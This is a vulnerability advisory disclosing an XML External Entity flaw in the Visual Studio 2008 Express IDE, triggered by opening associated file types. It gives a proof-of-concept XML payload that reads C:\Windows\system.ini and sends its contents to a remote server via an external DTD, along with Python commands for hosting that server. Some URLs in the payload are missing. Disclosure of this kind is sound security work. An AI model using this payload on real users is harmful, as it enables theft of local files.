[+] Credits: John Page (aka hyp3rlinx)   
[+] Website:  
[+] Source:  
[+] ISR: ApparitionSec   
Visual Studio 2008 Express IDE   
File hash: 62f764849e8fcdf8bfbc342685641304  
[Vulnerability Type]  
XML External Entity Injection 0Day  
[CVE Reference]  
[Security Issue]  
Visual Studio 2008 IDE suffers from XML External Entity injection. Attackers can leverage many file types, some being MASM related files like .asm or .lst.  
By opening any one of the following file types listed below, it can allow remote attackers to steal files from the victims computer, sending them to the  
remote attackers server.   
Double click any of the following extensions and it will trigger the XXE vulnerability. Note, upon installation of the IDE the following file types get   
associated with Visual Studio 2008 and are ALL vulnerable and will trigger the XXE exploit.  
[Vuln XXE file types]  
This IDE is pretty old, I know, but its still available for download as of this writing, therefore I release the advisory.  
"Evil.snippet" or any of the extensions mentioned above.  
<?xml version="1.0"?>  
<!DOCTYPE knobgobslob [   
<!ENTITY % file SYSTEM "C:\Windows\system.ini">  
<!ENTITY % dtd SYSTEM "">  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM ';'>">  
python -m SimpleHTTPServer  
python -m http.server (Python3)  
[POC Video URL]  
[Network Access]  
[Disclosure Timeline]  
Vendor Notification: 3/24/2017   
MSRC sent me link to "Definition of a Security Vulnerability"  
Also Product is also not supported anymore.  
December 1, 2019 : Public Disclosure  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).